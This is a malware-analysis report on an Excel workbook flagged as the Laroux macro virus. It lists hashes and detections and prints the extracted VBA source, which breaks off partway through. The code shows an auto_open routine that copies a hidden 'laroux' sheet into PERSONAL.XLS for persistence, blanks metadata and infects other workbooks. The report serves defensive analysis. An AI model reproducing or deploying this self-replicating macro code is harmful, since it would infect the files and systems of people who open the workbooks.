Xls.Trojan.Laroux-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 73e77657f06762bc…

MALICIOUS

Office (OLE)

46.5 KB Created: 1980-01-04 13:44:15 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 919f03707f061a044523d0aa980d1d11 SHA-1: 660a45da437278fffecea1bd0b16bfe353e86939 SHA-256: 73e77657f06762bcfa6f197c1e13129bb4bf82bfc2de691163adf545cce26b9d
240 Risk Score

Malware Insights

Xls.Trojan.Laroux-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as Xls.Trojan.Laroux-1 by ClamAV and exhibits critical heuristic firings related to the Laroux macro virus. The VBA script contains an auto_open subroutine that attempts to create or modify the PERSONAL.XLS file in the Excel startup path, indicating a persistence mechanism. The script also contains logic to copy and save a sheet named 'laroux' as PERSONAL.XLS, further supporting the persistence attempt.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7699 bytes
SHA-256: e4e76a88edd89dd71dce1a89c0bdcbad930b14c8f7228f986c8de31a3fc5d9a2
Detection
ClamAV: Xls.Trojan.Laroux-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"

Public jj As Integer
Public n4 As String
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
fr
Application.ScreenUpdating = False
Application.OnSheetActivate = "aa"
Application.OnWindow = "bb"
Application.StatusBar = ""
n4 = UCase(ActiveWorkbook.Name)
'Application.OnKey "^{f}", "ab"
'Application.OnKey "^{d}", "AG"
If n4 = "PERSONAL.XLS" Then
ActiveWindow.Visible = False
Exit Sub
End If
jj = ActiveWorkbook.Modules.Count
Dim ss As Worksheet
If ActiveWorkbook.Worksheets.Count = 0 Then ActiveWorkbook.Close
For Each ss In ActiveWorkbook.Worksheets
ss.Activate: Exit For
Next ss
check_files
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.ScreenUpdating = False
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "PERSONAL.XLS")
    If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10 '

m2:     as1 = ac
Select Case as1
Case 0
If p = 1 Then
gh = Application.StartupPath
Workbooks.Open Filename:=Application.StartupPath & "\" & "personal.xls"
ActiveWindow.Visible = False
Else
    Application.ScreenUpdating = False
    lar = laroux()
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False

End If
acd = ac: GoTo m2:
Case 1
Exit Sub
Case 2
    Windows(n4).Activate
    Application.ScreenUpdating = False
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
'    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With

    Windows("PERSONAL.XLS").Visible = True
    Windows(n4).Activate
    Sheets("laroux").Select
    Sheets("laroux").Copy Before:=Workbooks("PERSONAL.XLS").Sheets(1)
    ActiveWorkbook.Save
    ActiveWindow.Visible = False
    Sheets("laroux").Visible = False
End Select


Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    Sheets("laroux").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
'    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
'    Application.OnSheetActivate = "personal.xls!check_files"

Case 11
    
       


Case Else
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("PERSONAL.XLS").Sheets("laroux").Copy Before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If



End Select
    Application.ScreenUpdating = True
Application.Windows("personal.xls").OnWindow = "AF"
Application.OnWindow = "bb"
End Sub


Sub aa()
Attribute aa.VB_ProcData.VB_Invoke_Fu
... (truncated)

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